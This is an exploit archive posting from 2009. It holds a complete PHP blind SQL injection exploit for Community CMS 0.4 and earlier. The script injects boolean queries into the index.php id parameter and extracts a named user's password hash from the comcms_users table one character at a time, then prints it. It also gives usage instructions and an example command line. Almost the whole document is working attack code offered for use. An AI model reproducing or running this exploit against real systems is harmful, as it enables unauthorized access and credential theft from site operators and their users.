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communitycms-sql.txt

Posted on 28 January 2009

--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);

return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
$chr = ord ($chr);
$fp = fsockopen ($hostname, 80);

$query = query ($user, $pos, $chr);
$get =  "GET {$path}/index.php?id={$query} HTTP/1.1
".
"Host: {$hostname}
".
"Connection: Close

";

fputs ($fp, $get);

while (!feof ($fp))
$x .= fgets ($fp, 1024);

fclose ($fp);

if (preg_match ("/Failed to load page/", $x))
return false;
else
return true;

}

function usage () {
exit (
"Community CMS <= 0.4 Blind SQL Injection Exploit".
"
[+] Author  : darkjoker".
"
[+] Site    : http://darkjoker.net23.net".
"
[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
"
[+] Usage   : php xpl.php <localhost> <path> <username>".
"
[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
"
[+] Greetz  : certaindeath".
"

");
}

if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}

echo "

";

?>

 

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